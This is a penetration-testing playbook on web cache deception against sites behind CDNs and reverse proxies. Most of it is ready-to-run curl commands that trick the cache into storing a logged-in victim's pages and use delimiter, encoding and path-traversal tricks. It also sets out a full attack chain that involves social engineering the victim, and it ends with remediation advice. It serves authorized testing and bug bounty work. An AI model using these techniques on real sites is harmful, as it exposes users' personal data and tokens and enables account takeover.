Performing Web Cache Deception Attack

When to Use

• When testing applications behind CDNs or reverse proxies (Cloudflare, Akamai, Varnish, Nginx)
• During assessment of authenticated page caching behavior
• When evaluating path normalization differences between caching and origin layers
• During bug bounty hunting on applications with aggressive caching policies
• When testing for sensitive data exposure through cache layer misconfiguration

Prerequisites

• Understanding of HTTP caching mechanisms (Cache-Control, Vary, Age headers)
• Knowledge of CDN path normalization and cache key construction
• Burp Suite for intercepting and crafting requests
• Two browser sessions (authenticated victim and unauthenticated attacker)
• Understanding of URL path parsing differences across technologies
• Familiarity with common CDN platforms (Cloudflare, Akamai, Fastly, AWS CloudFront)

Workflow

Step 1 — Identify Caching Layer and Behavior

# Determine if a caching layer exists
curl -I http://target.com/account/profile
# Look for: X-Cache, CF-Cache-Status, Age, Via, X-Varnish headers

# Check caching rules for static extensions
curl -I "http://target.com/static/style.css"
# Look for: X-Cache: HIT, CF-Cache-Status: HIT, Age: >0

# Identify which extensions are cached
for ext in css js png jpg gif svg ico woff woff2 pdf; do
  echo -n "$ext: "
  curl -sI "http://target.com/test.$ext" | grep -i "x-cache\|cf-cache"
done

Step 2 — Test Path-Based Cache Deception

# Classic web cache deception: append static extension to dynamic URL
# Victim visits: http://target.com/account/profile/nonexistent.css
# If origin returns profile page and CDN caches it based on .css extension:

# Step 1: As victim (authenticated), visit:
curl -b "session=VICTIM_SESSION" "http://target.com/account/profile/anything.css"

# Step 2: As attacker (unauthenticated), request same URL:
curl "http://target.com/account/profile/anything.css"
# If victim's profile data is returned, cache deception is confirmed

# Test various extensions
for ext in css js png jpg svg ico woff2; do
  curl -b "session=VICTIM_SESSION" "http://target.com/account/profile/x.$ext" -o /dev/null
  sleep 2
  echo -n "$ext: "
  curl -s "http://target.com/account/profile/x.$ext" | head -c 200
  echo
done

Step 3 — Exploit Delimiter-Based Discrepancies

# Use path delimiters that CDN and origin interpret differently
# Semicolon delimiter (ignored by CDN, processed by origin)
curl -b "session=VICTIM" "http://target.com/account/profile;anything.css"

# Encoded characters
curl -b "session=VICTIM" "http://target.com/account/profile%2Fstatic.css"
curl -b "session=VICTIM" "http://target.com/account/profile%3Bstyle.css"

# Null byte injection
curl -b "session=VICTIM" "http://target.com/account/profile%00.css"

# Fragment identifier abuse
curl -b "session=VICTIM" "http://target.com/account/profile%23.css"

# Dot segment normalization
curl -b "session=VICTIM" "http://target.com/static/..%2Faccount/profile"

Step 4 — Test Normalization Discrepancies

# Path traversal normalization differences
# CDN normalizes: /account/profile/../static/x.css -> /static/x.css (cached)
# Origin sees: /account/profile (dynamic page returned)

curl -b "session=VICTIM" "http://target.com/static/../account/profile"
# CDN may cache as /account/profile if it normalizes differently than origin

# Encoded path traversal
curl -b "session=VICTIM" "http://target.com/static/..%2faccount/profile"

# Case sensitivity differences
curl -b "session=VICTIM" "http://target.com/account/profile/X.CSS"

# Double-encoded paths
curl -b "session=VICTIM" "http://target.com/account/profile/%252e%252e/static.css"

Step 5 — Exploit Cache Key Manipulation

# Identify cache key components
# CDN may use: scheme + host + path (excluding query string)
# Test if query string affects caching

curl -b "session=VICTIM" "http://target.com/account/profile?cachebuster=123.css"

# Test if the CDN uses the full path or normalized path as cache key
curl -b "session=VICTIM" "http://target.com/account/profile/./style.css"
curl "http://target.com/account/profile/./style.css"  # Check if cached

# Header-based cache key manipulation
curl -b "session=VICTIM" -H "X-Original-URL: /account/profile" \
  "http://target.com/static/cached.css"

Step 6 — Verify and Document the Attack

# Full attack chain:
# 1. Craft malicious URL: http://target.com/account/profile/x.css
# 2. Send URL to victim (via social engineering, email, etc.)
# 3. Victim clicks link while authenticated
# 4. CDN caches the authenticated response
# 5. Attacker requests the same URL without authentication
# 6. CDN serves cached authenticated content to attacker

# Verify cache status
curl -I "http://target.com/account/profile/x.css"
# Confirm: X-Cache: HIT or CF-Cache-Status: HIT

# Check what sensitive data is exposed
curl -s "http://target.com/account/profile/x.css" | grep -i "email\|name\|token\|api_key\|ssn"

Key Concepts

Concept	Description
Cache Deception	Tricking CDN into caching authenticated dynamic content as static resource
Path Normalization	How CDN and origin differently resolve path segments (../, ;, encoded chars)
Cache Key	The identifier CDN uses to store/retrieve cached responses (typically URL path)
Static Extension Trick	Appending .css/.js/.png to dynamic URLs to trigger caching behavior
Delimiter Discrepancy	Characters (;, ?, #) interpreted differently by cache vs. origin server
Cache Poisoning vs Deception	Poisoning modifies cache for all users; deception caches specific victim data
Vary Header	HTTP header controlling which request attributes affect cache key

Tools & Systems

Tool	Purpose
Burp Suite	HTTP proxy for crafting cache deception requests
curl	Command-line testing of cache behavior and response headers
Web Cache Vulnerability Scanner	Automated tool for detecting cache deception/poisoning
Param Miner	Burp extension for discovering unkeyed cache parameters
Cloudflare Diagnostics	Analyzing CF-Cache-Status and cf-ray headers
Varnish CLI	Direct cache inspection for Varnish-based setups

Common Scenarios

1. Profile Data Theft — Cache authenticated user profile pages containing PII (email, address, phone) by appending .css extension to profile URLs
2. API Token Exposure — Cache API dashboard pages showing tokens and secrets through path manipulation on CDN
3. Account Takeover — Cache pages containing session tokens or CSRF tokens, then use stolen tokens for account takeover
4. Financial Data Exposure — Cache banking or payment pages showing account balances and transaction history
5. Admin Panel Caching — Cache admin pages accessible through delimiter-based path confusion on CDN

Output Format

## Web Cache Deception Report
- **Target**: http://target.com
- **CDN**: Cloudflare
- **Vulnerability**: Path-based cache deception via static extension appending

### Cache Behavior Analysis
| Extension | Cached | Cache-Control | TTL |
|-----------|--------|---------------|-----|
| .css | Yes | public, max-age=86400 | 24h |
| .js | Yes | public, max-age=86400 | 24h |
| .png | Yes | public, max-age=604800 | 7d |

### Exploitation Results
| Victim URL | Cached Data | Sensitive Fields |
|-----------|-------------|-----------------|
| /account/profile/x.css | Full profile page | Email, Name, API Key |
| /account/settings/x.js | Settings page | 2FA backup codes |

### Remediation
- Configure CDN to respect Cache-Control: no-store on dynamic pages
- Implement Vary: Cookie header on authenticated endpoints
- Use path-based routing rules that reject unexpected extensions
- Enable consistent path normalization between CDN and origin